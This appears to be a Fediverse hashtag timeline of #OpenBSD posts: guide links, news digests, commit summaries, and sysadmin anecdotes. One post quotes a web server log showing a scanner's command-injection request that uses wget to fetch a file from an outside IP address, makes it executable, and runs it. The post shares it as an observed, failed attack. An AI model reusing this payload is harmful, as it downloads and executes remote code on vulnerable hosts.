taquiones.net is a Fediverse instance that uses the ActivityPub protocol. In other words, users at this host can communicate with people that use software like Mastodon, Pleroma, Friendica, etc. all around the world.
This server runs the snac software and there is no automatic sign-up process.
The article "Effective Spam and Malware Countermeasures - Network Noise Reduction Using Free Tools" has been liberated as https://nxdomain.no/~peter/effective_spam_and_malware_countermeasures.html - previsously only available tracked as https://bsdly.blogspot.com/2014/02/effective-spam-and-malware.html.
Likely still useful if you observe keywords like #malware #networksecurity #antispam #OpenBSD #internetsecurity, #networking #mailsecurity #packetfilter #countermeasures #networkmail #PF #greylisting #spam #FreeBSD - but may still contain #tracked links, please shout at me if so :)
The #everygeek and #normie guide to care an feeding of your #openbsd systems, aka "You Have Installed OpenBSD. Now For The Daily Tasks." https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin #keepitrunning #keepitsecure #security #development
Also picked up by OSnews: https://www.osnews.com/story/140659/you-have-installed-openbsd-now-for-the-daily-tasks/
Well, I might just take this device with me through the border on my way to Dublin in less than two weeks.
And laptop I'll take with me will likely be the burner. The screen is shit (a low-res screen with incredibly poor colors) - but at least it'll allow me some SSH stuff should the situation call for it.
Likely being way too paranoid - but better be safe than sorry.
You have installed OpenBSD, now for the daily tasks
Since we're on the topic of BSD, what about yet another helpful guide on what to do after first installing OpenBSD? We've covered a few of these already, but more can never hurt, and OpenBSD is a great platform that would suit a lot more of us than you might think.
Despite some persistent rumors, installing OpenBSD is both quick a
https://www.osnews.com/story/140659/you-have-installed-openbsd-now-for-the-daily-tasks/
What does life with #openbsd look like in the longer run? Some insights to be found in
"You Have Installed OpenBSD. Now For The Daily Tasks." https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin #keepitrunning #keepitsecure #security #development
Make Your Own #CDN With #OpenBSD Base and Just 2 Packages
https://it-notes.dragas.net/2024/08/29/make-your-own-cdn-openbsd/
You Have Installed OpenBSD. Now For The Daily Tasks. https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟵/𝟬𝟮 (Valuable News - 2024/09/02) available.
https://vermaden.wordpress.com/2024/09/02/valuable-news-2024-09-02/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Make your own CDN with OpenBSD base and just 2 packages
The internet today relies TOO MUCH on just a few big players. When one of them stops working, half the world is impacted because too many services, in my opinion, depend on them. “Too big to fail,” some might say. “Single Point of Failure,” I respond."
The strength of the internet has always been its extreme decentralizati
https://www.osnews.com/story/140631/make-your-own-cdn-with-openbsd-base-and-just-2-packages/
Make Your Own CDN With OpenBSD Base and Just 2 Packages
https://it-notes.dragas.net/2024/08/29/make-your-own-cdn-openbsd/
I've scheduled the post about #CDN and #OpenBSD for tonight (also to see if my script based on at and #curl for cache cleanup works well - I've tested it already, but I prefer a real-world test).
I'll announce it on social media in the morning.
I've just finished reviewing the #NetBSD post, which will be published on Monday instead.
NetBSD deserves more attention, and I hope this post will help boost its usage and visibility.
Stay tuned!
The new article (based on #OpenBSD) is ready and will be published in a few days. The next one (based on #NetBSD) is in an advanced stage of writing - all the procedures have already been tested and are working.
However, there’s another one, based on #FreeBSD, which is longer and I believe it will be highly appreciated, but I don't have an ETA yet.
Stay tuned!
There's a large number of #FreeBSD, #OpenBSD, and #illumos users out there.
We don't talk much because it "Just Works™"
I was not able to prove this for a very long time, so I used the most powerful weapon available out there: asking!
https://www.reddit.com/r/selfhosted/comments/1f1hr4m/unix_but_notlinux_club/
No unmodified files remain from original import of #OpenBSD
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟴/𝟮𝟲 (Valuable News - 2024/08/26) available.
https://vermaden.wordpress.com/2024/08/26/valuable-news-2024-08-26/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
New laptop will arrive next week, went for the framework laptop after all. Now messing about in virtualbox, to see if I can quadroboot #Linux, #FreeBSD, #OpenBSD and #NetBSD on one machine. Plan to do so on the new laptop, with a shared encrypted #zfs filesystem between at least #Linux and #FreeBSD. #NetBSD has zfs support too it seems, not sure about compatibility, and #OpenBSD ? Don't think it has zfs? Might be mistaken. Fun experiment in any case.
Well, that was easier than I expected. I now have #Linux (#Manjaro), #FreeBSD, #NetBSD and #OpenBSD on one virtual machine. The only challenge was that NetBSD and OpenBSD use the same file name for the EFI bootloader, but that's easily worked around. And some kerfuffle with disk ids/names in FreeBSD and NetBSD that was also easy to fix. Pretty cool! Looking forward to trying this on real hardware. Fingers crossed all the OS-es support the framework laptop :)
I've just added a "Under the Hood" section to my blog, with some tech details - this will also be updated with the coming articles about the self made CDN
No unmodified files remain from original import of OpenBSD https://www.undeadly.org/cgi?action=article;sid=20240824114631 #openbsd #history #allfilesmodified #development #games #greek #galley
This morning, right after bringing online the new reverse proxy for BSD Cafe's media, based on OpenBSD, I encountered some strange errors. PowerDNS frequently flagged it as down, which was quite frustrating. So, I disabled it while I figured things out.
Shortly after, the entire VPS became unreachable, and the provider informed me of an issue with the physical node, causing connectivity instability.
Turns out, PowerDNS was right. So, I can say: "It was the DNS." But in a positive sense. 😆
I've just finished drafting the article on the custom and "home-made" CDN created for BSD Cafe's media and my blog - should be out by Monday.
I also set up another VPS and performed the same setup using OpenBSD, replacing nginx with relayd (but keeping Varnish).
It was even easier... I might write a dedicated post on the OpenBSD setup soon.
System call pinning is now mandatory in #OpenBSD -current, with execv(2) now rejecting binaries without a valid pintable.
deraadt@ modified src/sys/kern/exec_elf.c: If binaries lack a pintable, execve() can now reject them at startup by returning EINVAL, rather than at runtime when the first system call occurs (and then probably dumping core). Let's find out if there are any surprising exceptions we were unaware of (would need a custom linker, or a non-crt0 runtime)
errno discussions with kettenis, sthen, millert. Vague consensus it is
worth trying now.
Plus some additional cleanup in process flags, used in ps(1), to make available for future bits.
deraadt@ modified src/*: We do not need the PS_LIBCPIN and PS_PIN flag fields anymore, which were used during development (for visibility). There is speculation claudio will immediately use these bits for something else.
Looking at the httpd log file of my blog, on an OpenBSD VM:
it-notes.dragas.net 127.0.0.1 - - [20/Aug/2024:19:01:24 +0200] "GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/154.216.18.196:88/j;chmod+777+j;./j HTTP/1.1" 404 0 "" "KrebsOnSecurity" 185.224.128.83 -
It'll surely be working...
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟴/𝟭𝟵 (Valuable News - 2024/08/19) available.
https://vermaden.wordpress.com/2024/08/19/valuable-news-2024-08-19/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Make your own VPN - Wireguard, IPv6 and ad-blocking included
https://it-notes.dragas.net/2023/04/03/make-your-own-vpn-wireguard-ipv6-and-ad-blocking-included/
#ITNotes #OpenBSD #SysAdmin #adblock #NoteHUB #SysAdmin #VPN #Wireguard #IPv6
robert@
has committed version 127.0.6533.119
of ungoogled-chromiun
and chromium
for #OpenBSD, #FreeBSD (and thus #HardenedBSD), fixing six vulnerabilities, one rated critical and five rated high.
Yesterday I used nat64.net and everything was already working, but I wanted to do it all locally. So, I tried setting up a VLAN with only IPv6, using NAT64 and DNS64. I installed an OpenBSD VM on bhyve, mapped the ethernet ports, and configured unbound, pf, and rad in just three minutes - everything works. Without using any external packages.
The simplicity and completeness of OpenBSD and its base system is always a source of joy.
#OpenBSD #IPv6 #NAT64 #DNS64 #Networking #VLAN #SysAdmin #RunBSD #BSD
The BSDCan 2024 Playlist is now complete https://www.undeadly.org/cgi?action=article;sid=20240814053159 #bsdcan #openbsd #freebsd #netbsd #conference
Now that it appears my move to BSD.cafe is complete, I believe it’s time for a #introduction.
First, I want to say how great it is to be part of the BSD.cafe community. I’m thrilled that this instance exists and is thriving.
I’m Blake, a Systems Administrator with a knack for #networks and #DevOps. Currently, I work in the insurance sector, focusing on #technology solutions for agricultural businesses. I have extensive experience with #Linux, #AWS, #Azure, and a variety of network solutions, from Fortigate (#FortiOS) to Netgate (#pfSense). I consider myself a big-picture solver, dedicated to enhancing infrastructure efficiency and security.
I’ve been using Linux daily since the late 2000s, when our family’s Windows XP machine gave out and I got my hands on Ubuntu 8.04 LTS. Since then, I’ve experimented with everything from Arch Linux to Void Linux. Recently, I’ve started exploring #FreeBSD and #OpenBSD, and I’m truly enjoying the fresh experience they offer.
When I’m not immersed in technology, you’ll find me participating in ultra-endurance #cycling events or tinkering with my #homelab. I’m committed to continuous learning and love sharing insights on cutting-edge network and server technologies. I also enjoy exploring how technology intersects with everyday life.
One of these days, I plan to create a proper blog site to share my thoughts and experiences.
I look forward to connecting with fellow tech enthusiasts and homelabbers!
Well well well... Seems like this is becoming something of a geek challenge these days...
OpenBSD 7.5 (amd64) via qemu on Hetzner physical machine (no phys. access / KVM console) - CodiMD
https://hackmd.gfuzz.de/s/Qsk14kc3i#
A mí el proyecto @freedo (linux-libre) no me gusta un pelo. Quitan por quitar sin criterios técnicos.
A brocha gorda: el kernel linux es 100% software libre menos las partes (en su mayoría) que requieren cargar / subir un firmware a un dispositivo, al kernel o controlador. Los famosos #blobs.
#OpenBSD tiene una política más racional en este aspecto. El firmware que se conoce que se limita a cargarse en una ROM de un dispositivo no plantea mayor problema ético y de seguridad.
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟴/𝟭𝟮 (Valuable News - 2024/08/12) available.
https://vermaden.wordpress.com/2024/08/12/valuable-news-2024-08-12/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Learning the power of #OpenBSD httpd.conf - the discovery that I can close a server stanza with
location not found "*" {
block drop
}
and never reply to scanners even with a 404.html is really quite satisfying
What a wonderful design.
The moment when you realize while searching for a compatible acme client for OpenBSD that OpenBSD has an integrated acme client 😃
As an unintentioned extra layer of security my #OpenBSD disk encryption password is obfuscated by the English keyboard layout when I am asked to provide it at startup. Second level encryption so to say. 😵💫
Is there a way to change the keyboard layout to "de" during this phase of booting?
OpenBSD -current moves to 7.6-beta https://www.undeadly.org/cgi?action=article;sid=20240808092612 #openbsd #current #76beta #opebsd76
Ladies and Gentlemen, it is my pleasure to announce the HP Proliant is now updated and both #OpenBSD and #Slackware VMs are updated as well.
#OpenBSD is darn secure, Puffy rips them attackers out. Still, adversaries keep on trying - even though it is widely known that Puffster is a lean, mean fighting machine.
(H/T @labellaragassa)
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟴/𝟬𝟱 (Valuable News - 2024/08/05) available.
https://vermaden.wordpress.com/2024/08/05/valuable-news-2024-08-05/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
~26 years after being imported into #OpenBSD CVS, the improbable* occurred, strlcpy and strlcat are in POSIX-2024.
https://pubs.opengroup.org/onlinepubs/9799919799/functions/strlcat.html
"never thought I'd see this day" millert@
https://marc.info/?l=openbsd-cvs&m=172271596001096&w=2
FRESH #OPENBSD NEWS IN PORTLAND! (Oregon)
@AFresh1 will be presenting at #FOSSY24 in exactly six hours!
https://2024.fossy.us/schedule/presentation/217/
They have $35 options to only see limited content.
See you there!
#BSD Jumpstart - A comprehensive Guide to #NetBSD , #FreeBSD , #OpenBSD , and #DragonFlyBSD
Are you interested in attending EuroBSDCon in Dublin this September? Here's a poll for you: https://www.linkedin.com/posts/philipp-buehler-940ba7143_were-entering-phase-of-planning-with-real-activity-7224373989425491970-hh8V/ #eurobsdcon #bsd #conference #openbsd #freebsd #netbsd
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟳/𝟮𝟵 (Valuable News - 2024/07/29) available.
https://vermaden.wordpress.com/2024/07/29/valuable-news-2024-07-29/
Past releases: https://vermaden.wordpress.com/news/
#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Hardware-Accelerated Video Decoding Arrives in #OpenBSD with VA-API
Possible future vmm(4)/vmd(8) on arm64 https://www.undeadly.org/cgi?action=article;sid=20240729122704 #openbsd #vmm #vmd #virtualization #arm64 #macmini
graphics/ffmpeg & multimedia/mpv ports now have VA-API enabled in #OpenBSD -current, with other ports still currently a WIP.
There's still more work required for browsers, but still exciting stuff!
Special thanks to José Maldonado and Lucas Gabriel Vuotto for testing and
giving feedback. And of course all ports/xenocara hackers!
https://marc.info/?l=openbsd-ports-cvs&m=172214866726423&w=2
https://marc.info/?l=openbsd-ports-cvs&m=172214944026592&w=2